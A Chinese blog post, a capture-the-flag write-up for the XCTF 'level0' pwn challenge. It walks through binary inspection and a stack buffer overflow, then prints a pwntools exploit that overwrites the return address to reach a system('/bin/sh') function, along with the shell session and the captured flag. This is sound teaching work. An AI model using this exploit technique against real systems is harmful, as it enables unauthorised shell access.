

攻防世界PWN题——level0

原创

Greic 于 2021-12-01 08:32:11 发布 3057 收藏 1

分类专栏: [ctfpwn](#) 文章标签: [安全](#) [p2p](#) [wpf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Greic/article/details/121647182>

版权



[ctfpwn](#) 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

嘿嘿, 又是我, 我又肥来了。今天带来的是攻防世界第三题的writeup, 这次话不多说, 我们直接进入主题。

无论怎么样, pwn题前两步少不了——查看文件类型和保护类型:

```
greic@ubuntu: ~  
File Edit View Search Terminal Help  
greic@ubuntu:~$ file third  
third: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,  
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc  
0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped  
greic@ubuntu:~$ checksec third  
[*] '/home/greic/third'  
Arch:      amd64-64-little  
RELRO:     No RELRO  
Stack:     No canary found  
NX:        NX enabled  
PIE:       No PIE (0x400000)  
greic@ubuntu:~$
```

64位linux操作系统, 只开了NX保护, 再打开IDA看看。

```
IDA View-A  Pseudocode-A  Hex View-1  Structures  Enums  
1 int __cdecl main(int argc, const char **argv, const char **envp)  
2 {  
3   write(1, "Hello, World\n", 0xDuLL);  
4   return vulnerable_function(1LL);  
5 }
```

将Hello,World显示到屏幕上, 再点开函数看看:

CSDN @Greic

```

Instruction  Data  Unexplored  External symbol  Lumina function
IDA View-A  Pseudocode-A  Hex View-1  Structures
1  ssize_t vulnerable_function()
2  {
3  char buf[128]; // [rsp+0h] [rbp-80h] BYREF
4
5  return read(0, buf, 0x200uLL);
6  }

```

CSDN @Greic

可以看到，buf是分配了80个字节（从rbp-80-rbp+0），但是read函数读入了0x200字节，因此，这里明显有栈溢出，再点开buf看看：

```

-0000000000000080 ; D/A/* : change type (data/ascii/array)
-0000000000000080 ; N      : rename
-0000000000000080 ; U      : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf          db 128 dup(?)
+0000000000000000 s            db 8 dup(?)
+0000000000000008 r            db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

```

CSDN @Greic

可以看到，我们只需要将buf和s覆盖，也就是覆盖88个字节，再将下一条指令地址修改成获取flag的地址就好了，但是我怎么知道，获取flag的地址在哪？（r是存储下一条指令的寄存器吧），请继续看IDA：

```

IDA View-A  Pseudocode-A  Stack of vulnerable_function
1  int callsystem()
2  {
3  return system("/bin/sh");
4  }

```

CSDN @Greic

可以看到，获取权限的函数在这，即只需要把下一条指令的地址改写到这即可，再查看该函数地址：

```

::0000000000400596 public callsystem
::0000000000400596 callsystem proc near
::0000000000400596 ; __unwind {
::0000000000400596 push rbp
::0000000000400597 mov rbp, rsp
::000000000040059A mov edi, offset command ; "/bin/sh"
::000000000040059F call _system
::00000000004005A4 pop rbp
::00000000004005A5 retn
::00000000004005A5 ; } // starts at 400596
::00000000004005A5 callsystem endp

```

CSDN @Greic

0x400596，至此，我们便可以写出exp：

```
Open exp3.py Save
#!/usr/bin/python3
from pwn import *
sh=remote('111.200.241.244','50559')
payload1=b'a'*0x88+p64(0x400596)
sh.send(payload1)
sh.interactive()
```

Python 3 Tab Width: 8 Ln 3, Col 37 CSDN @Greic

运行可得:

```
greic@ubuntu: ~
File Edit View Search Terminal Help
greic@ubuntu:~$ ./exp3.py
[+] Opening connection to 111.200.241.244 on port 50559: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
cyberpeace{70c1f699970d7afc4e8799cfc3c8987}
$
```

CSDN @Greic

呼~终于写完了，好饿，吃饭饭去了，溜了溜了。